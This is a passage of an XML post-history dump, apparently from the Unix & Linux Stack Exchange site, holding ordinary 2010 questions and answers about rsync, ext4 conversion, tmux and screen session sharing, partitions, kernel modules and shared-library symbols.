  <row Id="5215" PostHistoryTypeId="5" PostId="2515" RevisionGUID="9c679405-43bd-4032-808c-21d722993825" CreationDate="2010-09-29T16:35:19.653" UserId="305" Comment="edited body" Text="To change only the new values you will need the config the old kernel was build from.&#xD;&#xA;&#xD;&#xA;In RHEL you can find this in: &#xD;&#xA;&#xD;&#xA;&gt; /boot/config-$(uname -r)&#xD;&#xA;&#xD;&#xA;(sorry im not able to escape the backtics from the markup, please delete the last one :-/))&#xD;&#xA;&#xD;&#xA;Copy this file to the kernel source and change the values you want. Use `make menuconfig` for a ncurses gui.&#xD;&#xA;&#xD;&#xA;For other distributions: If the config option `CONFIG_IKCONFIG_PROC` was set, your kernel configuration is available under `/proc/config.gz`" />
  <row Id="5216" PostHistoryTypeId="5" PostId="2520" RevisionGUID="908a5d32-8a0a-4e73-95c7-5285b58f0e79" CreationDate="2010-09-29T16:52:33.463" UserId="73" Comment="deleted 38 characters in body" Text="Anything like this should be in the [man page](http://publib.boulder.ibm.com/infocenter/aix/v6r1/index.jsp?topic=/com.ibm.aix.cmds/doc/aixcmds4/nmon.htm)&#xD;&#xA;&#xD;&#xA;In particular:&#xD;&#xA;&#xD;&#xA;    Numperm     Number of frames used for files (in 4 KB pages).  &#xD;&#xA;    Process     Percentage of real memory used by process segments.  &#xD;&#xA;    System      Percentage of real memory used by system segments.  &#xD;&#xA;    Free        Percentage of real memory that is free.&#xD;&#xA;" />
  <row Id="5217" PostHistoryTypeId="5" PostId="2515" RevisionGUID="3fef5092-9d1a-44d1-a505-1c307758252c" CreationDate="2010-09-29T17:26:59.543" UserId="1339" Comment="just a test; deleted 23 characters in body" Text="To change only the new values you will need the config the old kernel was build from.&#xD;&#xA;&#xD;&#xA;In RHEL you can find this in: `/boot/config-$(\uname -r)`&#xD;&#xA;&#xD;&#xA;Copy this file to the kernel source and change the values you want. Use `make menuconfig` for a ncurses gui.&#xD;&#xA;&#xD;&#xA;For other distributions: If the config option `CONFIG_IKCONFIG_PROC` was set, your kernel configuration is available under `/proc/config.gz`" />
  <row Id="5218" PostHistoryTypeId="5" PostId="2503" RevisionGUID="5a00244c-4947-4d06-aebd-62f141343a40" CreationDate="2010-09-29T17:29:33.227" UserId="885" Comment="fixed formatting (missing quote)" Text="Rsync's filter rules can seem daunting when you read the manual, but there are a few simple principles that suffice in many cases:&#xD;&#xA;&#xD;&#xA;* Inclusions and exclusions:&#xD;&#xA; * Excluding files by name or by location is easy: `--exclude=*~`, `--exclude=/some/relative/location`.&#xD;&#xA; * If you only want to match a few files or locations, include them, *include every directory leading to them* (for example with `--include=*/`), then exclude the rest with `--exclude='*'`. This is because:&#xD;&#xA; * If you exclude a directory, this excludes everything below it.&#xD;&#xA; * If you include a directory, this doesn't automatically include its contents. In recent versions, `--include='directory/***'` will do that.&#xD;&#xA; * For each file, the first matching rule applies (and anything never matched is included).&#xD;&#xA;&#xD;&#xA;* Patterns:&#xD;&#xA; * If a pattern doesn't contain a `/`, it applies to the file name sans directory.&#xD;&#xA; * If a pattern ends with `/`, it applies to directories only.&#xD;&#xA; * If a pattern starts with `/`, it applies to the whole path from the directory that was passed as an argument to `rsync`.&#xD;&#xA; * `*` any substring of a single directory component (i.e. never matches `/`); `**` matches any path substring.&#xD;&#xA;&#xD;&#xA;* If a source argument ends with a `/`, its contents are copied (`rsync -r a/ b` creates `b/foo` for every `a/foo`). Otherwise the directory itself is copied (`rsync a/ b` creates `b/a`).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Thus here we need to include `*.pdf`, include directories containing them, and exclude everything else.&#xD;&#xA;&#xD;&#xA;    rsync -a --include='*.pdf' --include='*/' --exclude='*' ~/LaTeX/ ~/Output/&#xD;&#xA;&#xD;&#xA;Note that this copies all directories, even the ones that contain no matching file or subdirectory containing one. This can be avoided with the `--prune-empty-dirs` option (it's not a universal solution since you then can't copy a directory even by matching it explicitly, but that's a rare requirement).&#xD;&#xA;&#xD;&#xA;    rsync -am --include='*.pdf' --include='*/' --exclude='*' ~/LaTeX/ ~/Output/&#xD;&#xA;" />
  <row Id="5219" PostHistoryTypeId="2" PostId="2521" RevisionGUID="61b48b1f-f674-4dcc-98b8-1da391bfd573" CreationDate="2010-09-29T17:49:39.013" UserId="2064" Text="Hi there,&#xD;&#xA;&#xD;&#xA;my home directory is on a separate partition which still uses ext3. Is there a way to convert this partition into ext4 in a non-destructive way?" />
  <row Id="5220" PostHistoryTypeId="1" PostId="2521" RevisionGUID="61b48b1f-f674-4dcc-98b8-1da391bfd573" CreationDate="2010-09-29T17:49:39.013" UserId="2064" Text="Can I convert an ext3 partition into ext4 without formatting?" />
  <row Id="5221" PostHistoryTypeId="3" PostId="2521" RevisionGUID="61b48b1f-f674-4dcc-98b8-1da391bfd573" CreationDate="2010-09-29T17:49:39.013" UserId="2064" Text="éfilesystemsàépartitionàéext4à" />
  <row Id="5222" PostHistoryTypeId="2" PostId="2522" RevisionGUID="74ec7746-c32d-4ad8-9451-0f447bf2fd9a" CreationDate="2010-09-29T17:53:59.557" UserId="1941" Text="Yes, you can. This is explained very nicely in [the ext4-wiki at kernel.org][1]. Basically it all boils down to&#xD;&#xA;&#xD;&#xA;    tune2fs -O extents,uninit_bg,dir_index /dev/DEV&#xD;&#xA;    e2fsck -fDC0 /dev/DEV&#xD;&#xA;&#xD;&#xA;with /dev/DEV replaced by the partition in question. Although this should be non-destructive, I'd still strongly suggest to back up your data before doing it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://ext4.wiki.kernel.org/index.php/Ext4_Howto#Converting_an_ext3_filesystem_to_ext4" />
  <row Id="5223" PostHistoryTypeId="5" PostId="2361" RevisionGUID="ac140ee1-215d-45cf-af47-4cbc2f0104d8" CreationDate="2010-09-29T19:09:53.387" UserId="1959" Comment="connect with VNC" Text="I am one of the `n` users of a shared unix machine. For reasons unknown, the machine is not &quot;responsive&quot; enough. For example, it is slow on interactive commands, it takes few noticeable moments for any action (e.g. mouse movement, editor (e.g. gvim) keystrokes) to be visible. The problem is, the people supposedly responsible for addressing the issue do not agree that the machine is not responsive. They do some few simple things and say, &quot;It works fine!&quot;&#xD;&#xA;&#xD;&#xA;How can responsiveness be quantified? What (all) can I measure?&#xD;&#xA;&#xD;&#xA;I can run shell commands (e.g. `top`) periodically with cron and collect statistics, but I am clueless regarding what is a good statistic to go after.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;I connect to the machine over VMC." />
  <row Id="5224" PostHistoryTypeId="2" PostId="2523" RevisionGUID="651c5ff6-df78-475a-8aff-d29c094397cb" CreationDate="2010-09-29T19:37:37.467" UserId="2038" Text="I'm looking for a clean and easy way to share a tmux session with another user on the same machine.  I've tried the `-S socket-path` option, but it requires opening up all permissions of the socket-path before someone else can connect to the session.  It works, but it's a little cumbersome.  For example:&#xD;&#xA;&#xD;&#xA;    # Me&#xD;&#xA;    $ tmux -S /tmp/pair&#xD;&#xA;    $ chmod 777 /tmp/pair&#xD;&#xA;    &#xD;&#xA;    # Another user&#xD;&#xA;    $ tmux -S /tmp/pair attach&#xD;&#xA;&#xD;&#xA;This works, but both users now share the same tmux configuration (the configuration of the user who initiated the session).  Is there a way to allow the two users to use their own tmux config and their own individual tmux key bindings?&#xD;&#xA;&#xD;&#xA;For bonus points, ideally, it would also be nice to give read-only access of the tmux session to other users." />
  <row Id="5225" PostHistoryTypeId="1" PostId="2523" RevisionGUID="651c5ff6-df78-475a-8aff-d29c094397cb" CreationDate="2010-09-29T19:37:37.467" UserId="2038" Text="What are other ways to share a tmux session between two users?" />
  <row Id="5226" PostHistoryTypeId="3" PostId="2523" RevisionGUID="651c5ff6-df78-475a-8aff-d29c094397cb" CreationDate="2010-09-29T19:37:37.467" UserId="2038" Text="éusersàétmuxà" />
  <row Id="5227" PostHistoryTypeId="2" PostId="2524" RevisionGUID="0f418e01-6ab2-4bfb-bc58-2c2b7578aab3" CreationDate="2010-09-29T20:46:12.040" UserId="1339" Text="As far as I know, it is not possible to share sessions with other users in a &quot;clean&quot; way.&#xD;&#xA;&#xD;&#xA;Also read-only access is not possible, if the client doesn't use the `-r` switch.&#xD;&#xA;&#xD;&#xA;As another terminal multiplexer *screen* supports the features you are looking for, sadly also in a cumbersome way... I'm not sure if this is an option for you, but maybe someone other will find this useful.&#xD;&#xA;&#xD;&#xA;Solution for *screen*:&#xD;&#xA;&#xD;&#xA;Host a session:&#xD;&#xA;&#xD;&#xA;* SUID bit of *screen* must be set :-/&#xD;&#xA;* Open the session with `screen -S sessionname`&#xD;&#xA;* &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; + `:multiuser on`&#xD;&#xA;* &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;a&lt;/kbd&gt; + `:acladd otherUsername`&#xD;&#xA;&#xD;&#xA;Join a session:&#xD;&#xA;&#xD;&#xA;* `screen -x username/sessionname`&#xD;&#xA;&#xD;&#xA;You can set permission bits for the user (* for all) with `:aclchg` or `:chacl`. # appended will affect windows, ? appended will affect the commands.&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA;* `:aclchg * -wx &quot;#,?&quot;` will set the session permissions to read only for all users&#xD;&#xA;* `:aclchg foo +w 2` will give write access for user foo on window 2&#xD;&#xA;* `:aclchg bar +x detach` will give the permission for detaching a session to user bar" />
  <row Id="5228" PostHistoryTypeId="5" PostId="2347" RevisionGUID="75715fdf-d494-41b2-9740-3cbce128cb67" CreationDate="2010-09-29T21:28:09.737" UserId="4" Comment="added 9 characters in body" Text="The trademarked term &quot;UNIX&quot; actually refers to an actual thing, as described by others in this post.&#xD;&#xA;&#xD;&#xA;The general community lacks a good term for the class of product which we call Unix, Linux, BSD, *BSD, Solaris, etc. These products are related and have alot in common. A CentOS administrator can perform many tasks on a Solaris or FreeBSD system, for example. Also, many people have never heard of Solaris or FreeBSD, but they've heard of &quot;Unix&quot;. So, some people use the term &quot;Un*x&quot; to refer to this class of software.&#xD;&#xA;&#xD;&#xA;I also think that &quot;Un*x&quot; is a humorous word. How do you verbally pronounce &quot;Un*x&quot;, for example? &#xD;&#xA;&#xD;&#xA;*I noticed at the welcoming banner at the Unix StackExchange site*&#xD;&#xA;&#xD;&#xA;I created that wording, so I'll tell you why I did it. I used &quot;Un*x&quot; because I thought it was clever and funny, and I wanted to answer questions like &quot;Does this include things like $MY_FAVORITE_UNIXLIKE_PRODUCT?&quot;." />
  <row Id="5229" PostHistoryTypeId="2" PostId="2525" RevisionGUID="01275534-3cc0-43a0-87df-dd444b3f3105" CreationDate="2010-09-29T22:07:22.917" UserId="2049" Text="I have a folder with a few files in it, and some space on a web server.  I want to do a bi-directional sync between the local folder and the remote one in linux, just on modification time.  How do I do this?  btw I cannot install anything on the server, for all intents and purposes it is just space.&#xD;&#xA;&#xD;&#xA;Note:  I already have rsa key-pairs set up, so that it can happen silently." />
  <row Id="5230" PostHistoryTypeId="1" PostId="2525" RevisionGUID="01275534-3cc0-43a0-87df-dd444b3f3105" CreationDate="2010-09-29T22:07:22.917" UserId="2049" Text="Sync a local directory with a remote directory in Linux" />
  <row Id="5231" PostHistoryTypeId="3" PostId="2525" RevisionGUID="01275534-3cc0-43a0-87df-dd444b3f3105" CreationDate="2010-09-29T22:07:22.917" UserId="2049" Text="ésyncà" />
  <row Id="5232" PostHistoryTypeId="2" PostId="2526" RevisionGUID="b5e389b0-76e6-48f4-9e87-57f104c77d90" CreationDate="2010-09-29T22:12:55.410" UserId="33" Text="If it's installed on the server, use `rsync` it's build for exactly that job." />
  <row Id="5233" PostHistoryTypeId="5" PostId="2526" RevisionGUID="00c61e16-4ade-447b-905a-f8bfbe3c6b04" CreationDate="2010-09-29T22:25:22.237" UserId="33" Comment="added 863 characters in body" Text="If it's installed on the server, use `rsync` it's build for exactly that job.&#xD;&#xA;&#xD;&#xA;To get it bi-directional do this (quote from http://forums11.itrc.hp.com/service/forums/questionanswer.do?admit=109447626+1285799008594+28353475&amp;threadId=1278777) :&#xD;&#xA;&#xD;&#xA;&gt; To bidirectionally sync a directory&#xD;&#xA;&gt; /src/foo on hostA to /dest/foo on&#xD;&#xA;&gt; hostB, including all the&#xD;&#xA;&gt; sub-directories, you would run these&#xD;&#xA;&gt; commands on hostA:&#xD;&#xA;&gt; &#xD;&#xA;&gt; rsync -auz /src/foo hostB:/dest rsync&#xD;&#xA;&gt; -auz hostB:/dest/foo /src&#xD;&#xA;&gt; &#xD;&#xA;&gt; The first command pushes all the files&#xD;&#xA;&gt; that are newer on hostA to hostB. The&#xD;&#xA;&gt; second command will pull all the files&#xD;&#xA;&gt; that are newer on hostB to hostA. The&#xD;&#xA;&gt; critical options are:&#xD;&#xA;&gt; - when copying, you must preserve file modification times. &quot;-a&quot; does this and&#xD;&#xA;&gt; other things; if you want to preserve&#xD;&#xA;&gt; just the modification times, use &quot;-t&quot;&#xD;&#xA;&gt; instead.&#xD;&#xA;&gt; - you must skip any files that are newer on the destination: &quot;-u&quot; does&#xD;&#xA;&gt; this." />
  <row Id="5234" PostHistoryTypeId="2" PostId="2527" RevisionGUID="7a730626-c185-43a6-ab5e-e1de3ea0ec35" CreationDate="2010-09-29T22:30:00.723" UserId="1339" Text="Every time you need a sync between two folders `rsync` is a great flexible choice. The Problem is, that rsync won't support the ftp protocol. A nice workaround for this is [curlFtpFS][1]:&#xD;&#xA;&gt; CurlFtpFS is a filesystem for accessing FTP hosts based on FUSE and libcurl.&#xD;&#xA;&#xD;&#xA;With curlFtpFs pretty easy to include a remote ftp folder in your filesystem.&#xD;&#xA;&#xD;&#xA;This is a short example which shows the usage of both tools:&#xD;&#xA;&#xD;&#xA;    curlftpfs -r -s ftp.foobar.com /foo&#xD;&#xA;    rsync -a /foo/ /bar&#xD;&#xA;    umount /foo&#xD;&#xA;&#xD;&#xA;Read the manpage for further information.&#xD;&#xA;&#xD;&#xA;If you don't want such effort to install curlFtpFS and just want to keep some files in sync, there are lots of ftp tools which offer such sync features:&#xD;&#xA;&#xD;&#xA; * [FTPSync.pl][2] - simple PERL script to keep a local and a remote directory in sync&#xD;&#xA; * [weex][3] - a non-interactive FTP client for updating web pages&#xD;&#xA; * [filezilla][4] - GUI FTP client with lots of features&#xD;&#xA; * ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://curlftpfs.sourceforge.net/&#xD;&#xA;  [2]: http://ossw.ibcl.at/FTPSync/&#xD;&#xA;  [3]: http://weex.sourceforge.net/&#xD;&#xA;  [4]: http://www.filezilla.de/" />
  <row Id="5235" PostHistoryTypeId="2" PostId="2528" RevisionGUID="5800b092-052e-4fd5-887a-b586a5011447" CreationDate="2010-09-29T22:35:53.837" UserId="1381" Text="I'd like to learn more about Unix &amp; Linux and would like to set up a little home test server/ headless box. (I'm thinking of compiling from scratch, to learn how that works either Gentoo Stage II or Linux from scratch.)&#xD;&#xA;&#xD;&#xA;I'd likely only need a little bit of storage, a USB plug and a network connection. I've heard good things about the (no longer produced) NSLU2 and overheating issues with those &quot;plug computers&quot; made by Marvell and others. I'd like something low-powered and physically small, which is why I don't just buy/get an old box from craigslist, though I'm willing to be convinced that its worth finding space next the couch and a few bucks more in electricity.&#xD;&#xA;" />
  <row Id="5236" PostHistoryTypeId="1" PostId="2528" RevisionGUID="5800b092-052e-4fd5-887a-b586a5011447" CreationDate="2010-09-29T22:35:53.837" UserId="1381" Text="small inexpsive *nix box?" />
  <row Id="5237" PostHistoryTypeId="3" PostId="2528" RevisionGUID="5800b092-052e-4fd5-887a-b586a5011447" CreationDate="2010-09-29T22:35:53.837" UserId="1381" Text="éhardwareà" />
  <row Id="5238" PostHistoryTypeId="5" PostId="2528" RevisionGUID="fa4c3080-72c5-4eb3-abea-42fe812c9ecf" CreationDate="2010-09-29T22:38:04.257" UserId="73" Comment="added 3 characters in body; edited title" Text="I'd like to learn more about Unix &amp; Linux and would like to set up a little home test server/ headless box. (I'm thinking of compiling from scratch, to learn how that works; either Gentoo Stage II or Linux from scratch.)&#xD;&#xA;&#xD;&#xA;I'd likely only need a little bit of storage, a USB port, and a network connection. I've heard good things about the (no longer produced) NSLU2 and overheating issues with those &quot;plug computers&quot; made by Marvell and others. I'd like something low-powered and physically small, which is why I don't just buy/get an old box from craigslist, though I'm willing to be convinced that it's worth finding space next the couch and a few bucks more in electricity.&#xD;&#xA;" />
  <row Id="5239" PostHistoryTypeId="4" PostId="2528" RevisionGUID="fa4c3080-72c5-4eb3-abea-42fe812c9ecf" CreationDate="2010-09-29T22:38:04.257" UserId="73" Comment="added 3 characters in body; edited title" Text="Small inexpensive *nix box?" />
  <row Id="5240" PostHistoryTypeId="2" PostId="2529" RevisionGUID="61b3b02a-2a0a-42f9-9330-5df6c4236681" CreationDate="2010-09-29T22:39:17.623" UserId="885" Text="The tool of choice for unidirectional synchronization is rsync, and the tool of choice for bidirectional synchronization is [Unison](http://www.cis.upenn.edu/~bcpierce/unison/). Both require the executable to be available on both sides. If you can make a file executable on the server side, drop the unison binary and make it executable.&#xD;&#xA;&#xD;&#xA;If you have Linux, *BSD, Solaris or Mac OS X locally, you can probably use a [FUSE](http://fuse.sourceforge.net/) filesystem to make the web server space appear as a local filesystem — [sshfs](http://fuse.sourceforge.net/sshfs.html) should work since you seem to have ssh access. Then use unison “locally”.&#xD;&#xA;&#xD;&#xA;Also note that most version control software (CVS/Subversion as well as distributed VCS) have synchronization as a by-the-way feature (check in on one machine and out on the other).&#xD;&#xA;" />
  <row Id="5241" PostHistoryTypeId="2" PostId="2530" RevisionGUID="55a24a49-11f4-4c4d-9b9a-7ec886194dab" CreationDate="2010-09-29T22:41:28.507" UserId="1762" Text="This doesn't answer your question directly, but did you consider playing with Linux inside a virtual machine? It's very convenient way of experimenting with different distributions. You could use [VirtualBox][1], which has an open source version.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtualbox.org/" />
  <row Id="5242" PostHistoryTypeId="2" PostId="2531" RevisionGUID="0fd38789-978f-488c-baeb-f1620b27969a" CreationDate="2010-09-29T22:49:44.293" UserId="1762" Text="This sounds like a great application for [virtualenv][1], a very popular tool for creating isolated Python environments. This is a sample command to specify the version of Python&#xD;&#xA;&#xD;&#xA;    $ virtualenv --python=/usr/bin/python2.6 myvirtualenv&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pypi.python.org/pypi/virtualenv" />
  <row Id="5243" PostHistoryTypeId="2" PostId="2532" RevisionGUID="b724b8f0-861f-4bdd-8fb3-d736d6204aef" CreationDate="2010-09-30T01:25:43.247" UserId="1574" Text="So the title is somewhat misleading... I'll keep this simple: I'm comparing these two data structures:&#xD;&#xA;&#xD;&#xA;1. An array, whereby it starts at size 1, and for each subsequent addition, there is a realloc() call to expand the memory, and then append the new (malloced) element to the n-1 position.&#xD;&#xA;&#xD;&#xA;2. A linked list, whereby I keep track of the head, tail, and size. And addition involves mallocing for a new element and updating the tail pointer and size.&#xD;&#xA;&#xD;&#xA;Don't worry about any of the other details of these data structures. This is the only functionality I'm concerned with for this testing. &#xD;&#xA;&#xD;&#xA;In theory, the LL should be performing better. However, they're near identical in time tests involving 10, 100, 1000... up to 5,000,000 elements.&#xD;&#xA;&#xD;&#xA;My gut feeling is that the heap is large. I think the data segment defaults to 10 MB on Redhat? I could be wrong. Anyway, realloc() is first checking to see if space is available at the end of the already-allocated contiguous memory location (0-[n-1]). If the n-th position is available, there is not a relocation of the elements. Instead, realloc() just reserves the old space + the immediately following space. I'm having a hard time finding evidence of this, and I'm having a harder time proving that this array should, in practice, perform worse than the LL. &#xD;&#xA;&#xD;&#xA;Am I wrong in my assumptions??" />
  <row Id="5244" PostHistoryTypeId="1" PostId="2532" RevisionGUID="b724b8f0-861f-4bdd-8fb3-d736d6204aef" CreationDate="2010-09-30T01:25:43.247" UserId="1574" Text="Array Performance very similar to LinkedList - What gives!?" />
  <row Id="5245" PostHistoryTypeId="3" PostId="2532" RevisionGUID="b724b8f0-861f-4bdd-8fb3-d736d6204aef" CreationDate="2010-09-30T01:25:43.247" UserId="1574" Text="éperformanceàéarrayà" />
  <row Id="5246" PostHistoryTypeId="2" PostId="2533" RevisionGUID="0ed694ca-7756-43e3-ae71-a7efd72b2990" CreationDate="2010-09-30T03:04:40.467" UserId="1571" Text="I know that you can only have 4 primary partitions on a hard drive. But if you're using less than 4, is there a benefit/penalty for using logical partitions?" />
  <row Id="5247" PostHistoryTypeId="1" PostId="2533" RevisionGUID="0ed694ca-7756-43e3-ae71-a7efd72b2990" CreationDate="2010-09-30T03:04:40.467" UserId="1571" Text="Primary vs Logical partition" />
  <row Id="5248" PostHistoryTypeId="3" PostId="2533" RevisionGUID="0ed694ca-7756-43e3-ae71-a7efd72b2990" CreationDate="2010-09-30T03:04:40.467" UserId="1571" Text="épartitionà" />
  <row Id="5249" PostHistoryTypeId="2" PostId="2534" RevisionGUID="5b0b2d09-7e02-4980-947e-88a90dadb25d" CreationDate="2010-09-30T03:51:17.290" UserId="250" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have compiled a kernel with some modules, for example the `ath9k` for my wireless card. I don't have anything in the autoload configuration (i.e my file `/etc/modules.autoload.d/kernel-2.6` is empty). However, `lsmod` still shows that the module has been loaded. I also notice that when I compile filesystem support as modules (reiserfs, jfs, xfs etc.) they also get autoloaded.&#xD;&#xA;&#xD;&#xA;Who is doing this? Can and should I disable it? I am using Gentoo.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="5250" PostHistoryTypeId="1" PostId="2534" RevisionGUID="5b0b2d09-7e02-4980-947e-88a90dadb25d" CreationDate="2010-09-30T03:51:17.290" UserId="250" Text="who loaded my kernel modules?" />
  <row Id="5251" PostHistoryTypeId="3" PostId="2534" RevisionGUID="5b0b2d09-7e02-4980-947e-88a90dadb25d" CreationDate="2010-09-30T03:51:17.290" UserId="250" Text="égentooàékernelömodulesà" />
  <row Id="5252" PostHistoryTypeId="2" PostId="2535" RevisionGUID="4d4bde11-1a39-4351-bc67-dc7f7cea2a7c" CreationDate="2010-09-30T04:01:39.983" UserId="1942" Text="Actually I was going to suggest VirtualBox too. Seems like the best solution, but if you want cheep hardware what about a [SheevaPlug][1]? Only $100 and it is the size of a wall wart. In fact it is a wall wart.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openplug.org/" />
  <row Id="5253" PostHistoryTypeId="5" PostId="2535" RevisionGUID="6ae6611c-f56f-4e19-8f4e-6d9e76e231be" CreationDate="2010-09-30T04:08:20.300" UserId="1942" Comment="added 228 characters in body" Text="Actually I was going to suggest VirtualBox too. Seems like the best solution, but if you want cheep hardware what about a [SheevaPlug][1]? Only $100 and it is the size of a wall wart. In fact it is a wall wart.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Oops. Missed that part of your question. Ok, then how about an old computer from a recycling place like [Freegeek][2]. This one is in Portalns but there is ab ranch in many major US cities.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openplug.org/&#xD;&#xA;  [2]: http://www.freegeek.org/" />
  <row Id="5254" PostHistoryTypeId="2" PostId="2536" RevisionGUID="32922fbb-5935-4c52-8d82-00787371b4f7" CreationDate="2010-09-30T04:22:22.533" UserId="4" Text="Mount an .iso image as a loopback filesystem. I keep a number of .iso files around, and this can be a handy way to copy reference files on the disk image.&#xD;&#xA;&#xD;&#xA;    stefan@host1:~ $ ls -ld ubuntu-10.04-server-amd64.iso&#xD;&#xA;    -rw-r--r-- 1 stefan staff 710412288 2010-06-27 11:51 ubuntu-10.04-server-amd64.iso&#xD;&#xA;    stefan@host1:~ $ mkdir ./ubuntu-10.04-server-amd64&#xD;&#xA;    stefan@host1:~ $ sudo mount -o loop ubuntu-10.04-server-amd64.iso ./ubuntu-10.04-server-amd64&#xD;&#xA;    stefan@host1:~ $ ls ubuntu-10.04-server-amd64&#xD;&#xA;    cdromupgrade  doc      isolinux    pics  preseed             ubuntu&#xD;&#xA;    dists         install  md5sum.txt  pool  README.diskdefines&#xD;&#xA;&#xD;&#xA;Or, if I want to read an offline copy of the installation manual, I can do that from the commandline:&#xD;&#xA;&#xD;&#xA;   stefanl@host1:~ $ links ubuntu-10.04-server-amd64/doc/install/manual/en/index.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5255" PostHistoryTypeId="16" PostId="2536" RevisionGUID="32922fbb-5935-4c52-8d82-00787371b4f7" CreationDate="2010-09-30T04:22:22.533" UserId="-1" />
  <row Id="5256" PostHistoryTypeId="2" PostId="2537" RevisionGUID="1d974c3c-a754-4fc5-989d-ac84deabf52b" CreationDate="2010-09-30T04:53:57.927" UserId="1942" Text="The authors of the book are Kernigan and Pike the title is something like &quot;The Unix Programming Environment&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The book that I actually learned from was called &quot;An Introduction to Berkely Unix&quot;.&#xD;&#xA;" />
  <row Id="5257" PostHistoryTypeId="2" PostId="2538" RevisionGUID="b9e13180-eecd-45dd-a611-92553a32d924" CreationDate="2010-09-30T05:02:18.403" UserId="1942" Text="An oldie. Keep your software on one disk, and your data on another. Therefore you can seek both at the same time. Makes for faster disk access.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5258" PostHistoryTypeId="16" PostId="2538" RevisionGUID="b9e13180-eecd-45dd-a611-92553a32d924" CreationDate="2010-09-30T05:02:18.403" UserId="-1" />
  <row Id="5259" PostHistoryTypeId="2" PostId="2539" RevisionGUID="02048146-9df6-4c9f-a59e-c721a17e4ef7" CreationDate="2010-09-30T07:03:52.423" UserId="1941" Text="There have been times, where /boot had to be a primary partition, but this isn't true any more. Also earlier incarnations of MS Windows required that you installed Windows to a primary partition. When I set up  a new disk, I make the first partition primary and put the rest as logical partitions into one big extended." />
  <row Id="5260" PostHistoryTypeId="2" PostId="2540" RevisionGUID="e9fc4956-df5f-4cf0-9fb7-c2a0ee95374a" CreationDate="2010-09-30T08:13:06.093" UserId="33" Text="Udev loads modules automatically depending on what kind of hardware it finds. You can &quot;blacklist&quot; modules in order to stop them being autoloaded as described in the [Gentoo udev guide][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/udev-guide.xml" />
  <row Id="5261" PostHistoryTypeId="10" PostId="2532" RevisionGUID="1df1e0b0-7904-456e-b9e6-c0aab9b0c6c0" CreationDate="2010-09-30T08:34:12.587" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Warren Young&quot;},{&quot;Id&quot;:250,&quot;DisplayName&quot;:&quot;phunehehe&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="5262" PostHistoryTypeId="5" PostId="2539" RevisionGUID="e6d1d5a9-5ad6-4c34-8171-a93fab248944" CreationDate="2010-09-30T08:45:10.603" UserId="1941" Comment="added 139 characters in body" Text="Today, it doesn't really matter if you use primary or extended partitions.&#xD;&#xA;&#xD;&#xA;There have been times where /boot had to be a primary partition but this isn't true any more. Also earlier incarnations of MS Windows required that you installed Windows to a primary partition. &#xD;&#xA;&#xD;&#xA;When I set up  a new disk, I make the first partition primary and put /boot there and put the rest as logical partitions into one big extended but this is just a personal preference." />
  <row Id="5263" PostHistoryTypeId="2" PostId="2541" RevisionGUID="7fd831c3-2792-4768-98c9-9eb1c3e9c4a7" CreationDate="2010-09-30T08:54:48.240" UserDisplayName="delete" Text="How can I get a list of the functions defined in a shared object library, or find out if a particular function is defined in one?&#xD;&#xA;" />
  <row Id="5264" PostHistoryTypeId="1" PostId="2541" RevisionGUID="7fd831c3-2792-4768-98c9-9eb1c3e9c4a7" CreationDate="2010-09-30T08:54:48.240" UserDisplayName="delete" Text="Get a list of the functions in a shared library?" />
  <row Id="5265" PostHistoryTypeId="3" PostId="2541" RevisionGUID="7fd831c3-2792-4768-98c9-9eb1c3e9c4a7" CreationDate="2010-09-30T08:54:48.240" UserDisplayName="delete" Text="ésharedöobjectsà" />
  <row Id="5266" PostHistoryTypeId="2" PostId="2542" RevisionGUID="f6784719-e81b-4d8c-9bad-257ba801d5cd" CreationDate="2010-09-30T09:16:13.577" UserId="1941" Text="Use nm with the -D (dynamic) switch:&#xD;&#xA;&#xD;&#xA;    $ nm -D /usr/lib/libpng.so&#xD;&#xA;    00000000 A PNG12_0&#xD;&#xA;         w _Jv_RegisterClasses&#xD;&#xA;         w __cxa_finalize&#xD;&#xA;         U __fprintf_chk&#xD;&#xA;         w __gmon_start__&#xD;&#xA;         U __longjmp_chk&#xD;&#xA;         U __memcpy_chk&#xD;&#xA;         U __snprintf_chk&#xD;&#xA;         U __stack_chk_fail&#xD;&#xA;         U _setjmp&#xD;&#xA;         U abort&#xD;&#xA;         U crc32&#xD;&#xA;         U deflate&#xD;&#xA;         U deflateEnd&#xD;&#xA;         U deflateInit2_&#xD;&#xA;         U deflateReset&#xD;&#xA;         U fflush&#xD;&#xA;         U fread&#xD;&#xA;         U free&#xD;&#xA;         U fwrite&#xD;&#xA;         U gmtime&#xD;&#xA;         U inflate&#xD;&#xA;         U inflateEnd&#xD;&#xA;         U inflateInit_&#xD;&#xA;         U inflateReset&#xD;&#xA;         U malloc&#xD;&#xA;         U memcmp&#xD;&#xA;         U memcpy&#xD;&#xA;         U memset&#xD;&#xA;    00003fd0 T png_access_version_number&#xD;&#xA;    00016ef0 T png_build_grayscale_palette&#xD;&#xA;    00004810 T png_check_sig&#xD;&#xA;    0001d2d0 T png_chunk_error&#xD;&#xA;    0001d070 T png_chunk_warning&#xD;&#xA;    00013390 T png_convert_from_struct_tm&#xD;&#xA;    00014a90 T 